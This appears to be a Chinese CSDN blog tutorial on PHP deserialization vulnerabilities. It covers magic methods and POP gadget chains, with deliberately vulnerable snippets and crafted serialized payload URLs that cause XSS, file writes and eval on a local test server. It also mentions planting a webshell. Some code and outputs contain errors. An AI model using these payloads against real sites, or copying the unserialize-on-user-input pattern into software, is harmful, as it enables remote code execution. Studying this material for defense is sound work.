PHP反序列化漏洞说明

本文详细介绍了PHP的反序列化漏洞,包括序列化和反序列化的概念,魔术方法如`__destruct`和`__wakeup`在漏洞利用中的作用。还通过实例展示了如何构造恶意序列化字符串来触发特定行为,如写入文件或执行代码。同时讨论了POP gadget的概念,即使没有直接调用魔术方法,也能通过一系列方法调用链找到漏洞点。
摘要由CSDN通过智能技术生成

PHP反序列化漏洞说明

序列化

PHP序列化的函数为serialize,反序列化的函数为unserialize.

举个栗子:

<?php
class Test{
	public $a='ThisA';
	protected $b='ThisB'
	private $c='ThisC';
	public function test(){
		return "this is a test!";
	}

$test1=new Test();
var_dump(searialize($test1))
}

结果:

string(84) "O:4:"Test":3:{s:1:"a";s:5:"ThisA";s:4:"*b";s:5:"ThisB";s:7:"Testc";s:5:"ThisC";}"

O:表示对象
:4:表示对象名称有4个字符
"Test":对象名称
3:3个成员变量

s:1:"a";s:5:"ThisA";: a变量的值为ThisA,有5个字符
s:4:"*b";s:5:"ThisB": protected,ThisC
s:7:"Testc";s:5:"ThisC";: ThisC

反序列化

反序列化就是序列化的逆过程,即对于将对象进行序列化后的字符串,还原其成员变量的过程。

栗子:

<?php
	class Test{         
		public $a = 'ThisA';         
		protected $b = 'ThisB';         
		private $c = 'ThisC';         
		public function test(){                  
			return'this is test';         
		}
	}
	$test = new Test();
	$sTest = serialize($test);
	$usTest = unserialize($sTest);
	var_dump($usTest);
?>

结果:

object(Test)#2 (3) { ["a"]=> string(5) "ThisA" ["b":protected]=> string(5) "ThisB" ["c":"Test":private]=> string(5) "ThisC" }

魔术方法

反序列化漏洞的形成通常和以下魔术方法有关:

__construct()
#类似C构造函数,当一个对象创建时被调用,但在unserialize()时是不会自动调用的

__destruct()
#类似C++析构函数,当一个对象销毁时被调用

__toString()
#当一个对象被当作一个字符串使用时被调用

__sleep()
#serialize()时会自动调用   

__wakeup()
#unserialize()时会自动调用   

__call()  
#当调用对象中不存在的方法会自动调用该方法。

__get()        
#在调用私有属性的时候会自动执行

__isset()       
#在不可访问的属性上调用isset()或empty()触发

__unset()       
#在不可访问的属性上使用unset()时触发

由前面可以看出,当传给 unserialize() 的参数可控时,我们可以通过传入一个精心构造的序列化字符串,从而控制对象内部的变量甚至是函数。

利用__destruct

<?php
	class test{    
		var $test = "hello";    
		function __destruct(){            
			echo $this->test;    
		}
	}
	$a = $_GET['id'];
	$a_u = unserialize($a);
?>

构造利用代码:

<?php
	class test{    
		var $test = "<script>alert(1)</script>";    
		function __destruct(){            
			echo $this->test;    
		}
	}
	$test=new test();
	$sTest = serialize($test);
	var_dump($sTest)
?>

结果:

string(59) "O:4:"test":1:{s:4:"test";s:25:"";}"

利用:

只需要修改这一串:
O:4:"test":1:{s:4:"test";s:25:"";}
修改如下
127.0.0.1/php.php?id=O:4:"test":1:{s:4:"test";s:40:"<script>alert(1)</script>";}

在这里插入图片描述

wakeup

unserialize()后会导致 __wakeup()__destruct()的直接调用,中间无需其他过程.

因此最理想的情况就是一些漏洞/危害代码在 __wakeup()__destruct()中,从而当我们控制序列化字符串时可以去直接触发它们 .

栗子:

<?php
	class test{
		var $test='123';
		function __wakeup(){
			$fp=fopen("index.php","w");
			fwrite($fp,$this->test);
			fclose($fp);
		}
	}
	
	$a=$_GET['id'];
	print_r($a);
	echo "</br>";
	$a_unser=unserialize($a);
	require "index.php";
?>

我们可以通过构造序列化对象,其中test的值设置为 <?php phpinfo();,再调用unserialize()时会通过 __wakeup()把test的值的写入到flag.php中,这样当我们访问同目录下的flag.php即可达到实验目的!当然也可以写入你的免杀一句话木马了。。嘿嘿。。。强调一下,php是弱编程语言,容错率很强。

如果构造我们的payload?

<?php
	class test{
		var $test='<?php phpinfo();';
		function __wakeup(){
			$fp=fopen("index.php","w");
			fwrite($fp,$this->test);
			fclose($fp);
		}
	}
	$test=new test();
	$sTest = serialize($test);
	var_dump($sTest)
?>

结果:

string(50) "O:4:"test":1:{s:4:"test";s:16:"";}

利用payload:

127.0.0.1/php.php?id=O:4:"test":1:{s:4:"test";s:16:"<?php phpinfo();";}

在这里插入图片描述

POP gadget

如果一次unserialize()中并不会直接调用的魔术函数,比如前面提到的 __construct(),是不是就没有利用价值呢?

非也,类似于栈溢出中的ROP gadget,有时候反序列化一个对象时,由它调用的 __wakeup()中又去调用了其他的对象,由此可以溯源而上,利用一次次的"gadget"找到漏洞点。

栗子:

<?php
    class test1
    {
        function __construct($test){
            $fp =fopen("flag.php","w") ;
            fwrite($fp,$test);
            fclose($fp);
        }
    }
    class test2{    
    var $test ='123';
        function __wakeup(){
            $obj =new test1($this->test);
        }
    }
    $a =$_GET['id'];
    print_r($a);
    echo "</br>";
    $a_unser =unserialize($a);
    require"flag.php";
?>

分析:

分析以上代码,我们可以给id传入构造好的序列化字符串,进行反序列化时会自动调用 test2中的 __wakeup方法—>unserialize()时会自动调用,从而在 newtest1($this->test)时会调用 test1中的 __construct()方法,从而把 <?php phpinfo();写入到 index.php中,达到上面一样的效果。

下面构造我们的payload:

<?php
	class test1{
		function __construct($test){
			$fp=fopen("flag.php","w");
			fwrite($fp,$test);
			fclose($fp);
		}
	}
	class test2{
		var $test='<?php phpinfo();';
		function __wakeup(){
			$obj=new test1($this->test);
		}
	}
	$test2=new test2();
	$sTest = serialize($test2);
	var_dump($sTest)
?>

结果:

string(51) "O:5:"test2":1:{s:4:"test";s:16:"<?php phpinfo();";}

直接利用吧:

127.0.0.1/php.php?id=O:5:"test2":1:{s:4:"test";s:16:"";}

在这里插入图片描述

利用普通方法

当我们能利用的只有类中的普通方法时,这时我们需要寻找相同的函数名,把敏感函数和类联系在一起。

栗子:

<?php
	class main(){
		var $test;
		function __construct(){
			$this->test=new test1();
		}
		function __destruct(){
			$this->test->action();
		}
	}
	class test1{
		function action(){
			echo "hello world";
		}
	}
	class test2{
		var $test2;
		funtion action(){
			eval($this->test2);
		}
	}
	$a=new main();
	unserialize($_GET['id']);
?>

分析:

大意为,newmain()得到一个新的main对象,调用__construct(),其中又newtest1(),在结束后会调用__destruct(),其中会调用action(),从而输出hello world`。而我们需要寻找相同的函数名,即test2类中的action方法,因为其中有我们想要的eval方法.

构造我们的payload:

<?php
	class main(){
		var $test;
		function __construct(){
			$this->test=new test2();
		}
	}
	class test2{
		var $test2="phpinfo();";
	}
	echo serialize(new main());
?>

结果:

O:4:"main":1:{s:4:"test";O:5:"test2":1:{s:5:"test2";s:10:"phpinfo();";}}

执行:

http://127.0.0.1/php.php?id=O:4:%22main%22:1:{s:4:%22test%22;O:5:%22test2%22:1:{s:5:%22test2%22;s:10:%22phpinfo();%22;}}

在这里插入图片描述

到了到此结束!!!美好的周末。。。哈哈哈

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值